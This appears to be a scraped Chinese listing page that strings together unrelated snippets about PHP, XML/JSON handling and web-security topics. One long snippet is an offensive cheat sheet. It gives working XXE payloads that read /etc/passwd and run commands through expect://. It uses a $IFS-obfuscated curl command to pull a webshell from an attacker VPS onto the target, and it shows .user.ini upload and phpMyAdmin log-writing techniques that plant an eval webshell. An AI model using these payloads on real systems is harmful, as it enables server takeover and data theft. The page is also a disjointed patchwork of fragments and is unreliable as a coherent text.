本文实例讲述了php+Ajax处理xml与json格式数据的方法。分享给大家供大家参考，具体如下：
因为json数据是原生态数据，因此这种数据格式很稳定，而且描述能力强,我们建议大家使用json格式
对接我php接口的是安卓客户端，json字符串中在一个元素的时候是对象类型，多个元素的时候是数组类型，安卓客户端解析就失败了。
本文实例讲述了PHP使用DOM对XML解析处理操作。分享给大家供大家参考，具体如下：
生命周期：当程序第一次调用request.getSession()创建出客户端的session对象，30分钟没有操作认为超时，这个可以在web.xml中进行配置
本文实例讲述了php+Ajax无刷新验证用户名操作。分享给大家供大家参考，具体如下：
本文就用我们看的见的角度来分析，看看 sqlmap 到底发送了什么 payload，这些 payload 是怎么出来的，不深入代码层面。
最近不知道为什么，我的博客换了模板之后，填写百度的推送token，也推不过去我的文章。于是就在网上找资料，发现一个自动推送给百度的php seo 代码，大概内容就是读取网站的sitemap，然后把链接提交出来，然后设置定时任务去推给百度即可。
XXE(XML External Entity)，即xml外部实体注入。引用外部实体时，不同的程序可支持不同的协议：
但是，世界上的大部分Feed，都是摘要Feed，甚至是标题Feed。我们只好自己动手，制作全文Feed。
＊字符串查找 $email = 'name@example@.com'; $domain = strstr($email, '@'); echo $domain; // prints @exa
大家好，我们是红日安全-代码审计小组。最近我们小组正在做一个PHP代码审计的项目，供大家学习交流，我们给这个项目起了一个名字叫 PHP-Audit-Labs 。现在大家所看到的系列文章，属于项目 第一阶段 的内容，本阶段的内容题目均来自 PHP SECURITY CALENDAR 2017 。对于每一道题目，我们均给出对应的分析，并结合实际CMS进行解说。在文章的最后，我们还会留一道CTF题目，供大家练习，希望大家喜欢。下面是 第3篇代码审计文章：
大家好，我们是红日安全-代码审计小组。最近我们小组正在做一个PHP代码审计的项目，供大家学习交流，我们给这个项目起了一个名字叫 PHP-Audit-Labs 。现在大家所看到的系列文章，属于项目 第一阶段 的内容，本阶段的内容题目均来自 PHP SECURITY CALENDAR 2017 。对于每一道题目，我们均给出对应的分析，并结合实际CMS进行解说。在文章的最后，我们还会留一道CTF题目，供大家练习，希望大家喜欢。下面是 第3篇 代码审计文章：
1.3、XXE相关技巧 1.3.1、XXE载荷构技巧 使用seclists的XXE-Fuzzing.txt的第9行，做一个简单改造即可使用。对比如下： 改造前： <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]> 改造后： <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "file:///etc/passwd" >]> XXE-Fuzzing.txt的路径：SecLists\Fuzzing\XXE-Fuzzing.txt 有了上述载荷以后，再加上回显位置即可成功利用，完整载荷示例： <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "file:///etc/passwd" >]> <name> <email> &foo; </email> </name> 1.3.2、命令执行&&getshell 命令执行的原理是把文件读取用的file://协议换成了expect://协议。 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "expect://id" >]> <name> <email> &foo; </email> </name> getshell则是命令执行的变种，通过上传webshell来。 利用前提：知道目标服务器的脚本语言类型和webshell上传后的大致位置。如果是OSS上，直接寄。 1）使用python托管webshell python -m http.server 8088 2）下载webshell <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "expect://curl$IFS'vps_addr:port/111.php'$IFS-o$IFS'222.php'" >]> <name> <email> &foo; </email> </name> 此处webshell下载解析： curl -O vps_addr:port/111.php curl vps_addr:port/111.php -o 222.php 空格用$IFS来替代，没啥好说的，常规思路。 下载url不能带协议 下载url用单引号包裹，如果是-o方式，保存文件的名称也用单引号包裹起来。 1.4、.user.ini文件上传 这个跟.htaccess差不多，.user.ini是php给用户的自定义配置文件，可将指定文件按照php脚本文件的形式解析。 介绍：https://blog.csdn.net/cosmoslin/article/details/120793126 利用过程： 1）上传.user.ini filename：.user.ini Content-type：image/jpeg 文件正文： GIF89a auto_prepend_file = aaa.jpg 2）上传webshell filename: aaa.jpg Content-type：image/jpeg 文件正文： GIF89a <?php @eval($_POST[22]);?> # 可替换为其他webshell 1.5、盲注分析 导出数据包： 文件——导出分组解析结果——为纯文本 通过notepad++解码： 提取所有注入数据包，此处使用notepad++中的标记功能，查找模式设置为正则表达式。 提取出来以后，找到临界值。当上面的查询语句从1,1到2,1,则上一条语句的=''的值就是SQLi获取到的数据。 找到所有数据后，用英文的逗号隔开，然后使用convert从dec转成text。 1.6、phpmyadmin后台写日志马 前提：知道web根目录。 set global general_log = 'on'; set global general_log_file = 'c:/phpstudy/111.php' select "<?php @eval($_POST[22]);?>" web根目
我前段时间做微信支付，遇到了很多坑，网上也没有讲解的特别明白的，通过借鉴各路人才的经验，最后也完成了，网上有很多讲解，我在这只讲一些注意点和解决的方法。我就讲讲我从完全懵到完成的过程吧。
在我们开发的时候,测试是必不可少的东西,那么有个好的测试工具才能让你测试的效率提升,现在就介绍下最近我发现的单元测试工具-phpunit吧.
例子：<!ELEMENT 元素名 PCDATA> <元素名>(中间这一部分也是可以被解析的)</元素名>
在 Linux 中，shell 脚本结合系统任务计划 crontab，非常简单就能实现一些复杂程序才能完成的工作，开发成本低，且简单易学。 张戈博客之前也分享过不少 shell 在网站运营方面的妙用，比如： CCKiller：Linux 轻量级 CC 攻击防御工具，秒级检查、自动拉黑和释放 SEO 技巧：Shell 脚本自动提交网站 404 死链到搜索引擎 Linux/vps 本地七天循环备份和七牛远程备份脚本 nginx 日志切割及 7 天前的历史日志删除脚本 Shell+Curl 网站健康状态
PHP 是世界上最好的语言。 在为 App 开发接口过程中，我们必不可少的要为Android和 iOS 工程师们提供返回的数据，如何灵活快速又易懂的返回他们需要的数据是非常关键的。 其实 ThinkPHP 已经把很多我们要用到的都写出来了，我们基本可以使用来返回我们需要的数据。 通信数据的标准格式： code 状态码（200，400 等）； message 提示信息（登录失败，数据返回成功等）； data 返回数据； 函数的封装当然是为了方便我们的使用，使用方法如下： public funct
前言 最近在搭建自己的博客站点时, 选择了网站使用较多的WordPress, 随着慢慢的使用, 它灵活的插件和主题令我折服. 基本上任何想要实现的功能, 都可以在上面通过插件的形式进行添加. 无论是在
XML和XPATH 用正则处理HTML文档很麻烦，我们可以先将 HTML文件 转换成 XML文档，然后用 XPath 查找 HTML 节点或元素。 XML 指可扩展标记语言（EXtensible M
近期收到某友方 SRC 发来的邮件，反馈站点中存在可被 Dos 的风险， 复测后发现确实存在此类风险。
关于xxe，我们首先要了解什么是xxe？XXE（XML External Entity Injection）XML外部实体注入攻击。下面就详细介绍XXE。
个人认为，对于Web前端程序员和跟HTML和CSS打交道的人来说，jQuery是有史以来最伟大的发明。jQuery的出现使Web程序员的开发效率突飞猛进，不亚于工业革命给人类生产力带来的提升。 但问题在在于，只有前端程序员可以利用jQuery的强力，他们可以用它分析HTML，根据CCS类，HTML属性，CSS规则等各种选择器来查 询、获取、操作HTML里的任何一个元素。而作为后端(服务端)程序员来说，他们同样需要分析HTML内容，从HTML中提取符合要求的HTML片段、获 取某个符合条件的属性值等。 遇到这
jax技术包含了几种技术:javascript、xml、css、xstl、dom、xhtml和XMLHttpRequest七种技术，所以ajax就像是粘合剂把七种技术整合到一起，从而发挥各个技术的优势。
0x00 背景 本周，将zzcms8.2的源码的GetShell方法与大家一同分享，在上周有说过这个CMS比较适合新手或想要入坑PHP代码审计的同学练手，所以分享下从一些容易发现的漏洞一步步到GetShell的过程，如果大家还有其他思路欢迎一同讨论，期待与师傅们的交流。 0x01审计过程 文件删除问题： 0x00 相关环境 源码信息：ZZCMS 8.2 问题文件： \zzcms\zzcms8.2\user\msg.php 漏洞类型：任意文件删除 站点地址：http://www.zzcms.net/ 0
本来这个技术含量不足以写进博客的，不过想想好久不写博客都快把markdown语法忘了（汗颜），之前做的信安比赛的项目未来会写一篇总结。
1、有如下所示的一个分号分隔数据文件：每个 STRING 都是一个随机的字符串，长度未知；每行有多个 STRING，个数未知；共有多少行也未知。请问此数据文件必须在满足什么条件下才能用PHP解析出第 n 行的第 x 个 STRING，假设满足了这些条件，请写出解析方法或思路。
1.什么是XXE? xxe即"XML外部实体注入漏洞"，顾名思义，是由于XML允许引入外部实体导致的漏洞，当程序没有禁止或者对外部实体做验证，攻击者构造特殊的xml语句传到服务器，服务器在传输给XML
因无法确定 flag 的路径，无法使用 file 直接读取，使用php://filter/read=convert.base64-encode/resource=的方法来读取 index.php的文件：
XML外部实体注入简称XXE漏洞：XML用于标记电子文件使其具有结构性的标记语言，可以用来标记数据、定义数据类型，是一种允许用户对自己的标记语言进行定义的源语言。
在线XML/JSON互相转换工具： http://tools.zalou.cn/code/xmljson
作者：LoRexxar'@知道创宇404实验室 2018年1月30日，joomla更新了3.8.4版本，这次更新修复了4个安全漏洞，以及上百个bug修复。 https://www.joomla.org/announcements/release-news/5723-joomla-3-8-4-release.html 为了漏洞应急这几个漏洞，我花费了大量的时间分析漏洞成因、寻找漏洞触发位置、回溯逻辑，下面的文章比起漏洞分析来说，更接近我思考的思路，希望能给大家带来不一样的东西。 背 景 其中的4个安全漏
2018年1月30日，joomla更新了3.8.4版本，这次更新修复了4个安全漏洞，以及上百个bug修复。
今天遇到一个需求：将某个xml中的节点属性提取出来，然后更新数据库某一表中的字段。
0x00 背景 本周，斗哥分析了下zzcms8.2的源码，发现蛮多问题的，觉得这个源码适合萌新们练手或入坑PHP的代码审计。今天决定发出一些发现的问题，当然这个源码还有很多问题，本篇仅对部分漏洞进行分析，至于如何GetShell我会在下周分享出我的方法。期待与师傅们的交流讨论。 0x01 审计过程 XSS相关问题 0x00 相关环境 源码信息：ZZCMS 8.2 问题文件： \zzcms\zzcms8.2\install\step_6.php 漏洞类型：反射型XSS 站点地址：http://www.z
整个操作，很无脑。 只要你够勤快，你学不会，你来咬我。 懒人和伸手党就直接复制代码去玩吧，但我不是叫你拿去干坏事。 准备工具：WPE和IE浏览器，WPE是一个比较不和谐的东西，我就不上传了，想学的人自己百度去下载一个，注意360要添加白名单。 你有什么好的拦截数据工具，你可以用你自己觉得习惯的东西，我选择用WPE，是因为我只会用WPE，各种复杂的工具对我来说，不如WPE直接让send与recv函数呈现数据那么直观。如果你们觉得WPE的操作太复杂了，学不会了，我只能和你说，少玩点国产游戏吧，你已经被毒害的不轻了。 好的，现在你可以一边看这个帖子，一边跟着动手。 1、关闭除了该帖子以外的浏览器，打开一个IE浏览器窗口，转到http://bbs.anjian.com/ 2、如果你已经是登录状态，请点击“退出”按钮。 3、打开WPE，点击目标程序，选择IEXPLORE.EXE，你会发现有好多个IEPLORE.EXE，这个时候怎么办呢，一个个的尝试，怎么尝试呢，选择目标之后，点击像 播放 一样的三角形按钮 开始拦截，之后刷新 才打开的论坛的浏览器，如果此时，WPE上发现数据包有动静了，那么就说明我们要拦截封包的IE就是这个进程了，然后把WPE停止拦截掉。 操作如下图：选择进程 <ignore_js_op> 点击三角形的这个拦截按钮进行测试： <ignore_js_op> 当接收到你刷新页面时，如果接收到数据包了，就说明这个进程就是我们需要拦截封包的进程了。然后我们先点击红色方块的停止拦截按钮，停止拦截，停止后WPE视图中会弹出一个数据包窗口，把它关掉，现在暂时不需要他。 <ignore_js_op> 然后在把你的论坛帐号，密码输入好，但是不要点击登录，到WPE里，再次点击 拦截按钮，开始拦截以后，回到论坛页面，点击登录。回到WPE，点击停止拦截按钮。好了，关键的数据包就被我们抓到了。如下图所示，第一条是包头，第二条是你的帐号，密码，是否勾选了自动登录。 <ignore_js_op> 我们把我们拦截到的内容复制出来先，如图所示，选择一条封包，把下面拉大点。选择右边的明文部分，拉到底，然后复制。出来粘贴到记事本里。 <ignore_js_op>
文章首发于跳跳糖社区https://tttang.com/archive/1716/
0x00 背景 上周，发现了finecms的一些后台的洞，斗哥先从配置文件写入开始分析，然后再结合本篇的存储XSS进行GetShell，本篇分析下存储XSS的问题，最终通过这两类洞的组合利用GetShell，期待与师傅们的交流讨论。 0x01 审计过程 0x00 相关环境 源码信息：FineCMS v5.3.0 bulid 20180206 问题文件： \finecms\finecms\system\core\Log.php 漏洞类型：存储型XSS 站点地址：http://www.finecms.ne
以上文件下载地址:http://pan.baidu.com/s/1i3Ke8gH 提取码:pi9m
实例 从数组的第三个元素开始取出，并返回数组中的其余元素： <?php $a=array("red","green","blue","yellow","brown"); print_r(array_s
MyBatis批量插入数据实现（MySQL）
0x01前言 回顾了下以前的代码审计 三个白帽，很经典 现在估计都没有了吧。 0x02 分析 <?php include 'db.inc.php'; foreach(array('_GET','_PO
XML解析器是一个程序，它可以将XML文档或代码转换为XML文档对象模型（DOM）对象。
首先声明：我们要构建的是扩展或者模块名为hello_module.该模块提供一个方法：hello_word.
MyBatis批量插入数据实现(MySQL)
简单网页的爬取可以利用re模块，复杂网页的爬取对于内容的提取则会显得十分麻烦。Scrapy框架是python下的一个爬虫框架，因为它足够简单方便受到人们的青睐。
数组指针： 一步步来哈 意思是定义一个关联数组，然后是取出第一个 a r r [ 0 ] 的 键 值 ‘ arr[0]的键值` arr[0]的键值‘val=current( a r r ) ; ‘ ， 然 后 取 出 第 一 个 arr);`，然后取出第一个 arr);‘，然后取出第一个arr[0]的键名key=key(arr);,然后输出把echo key."-".
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
实时音视频
即时通信 IM
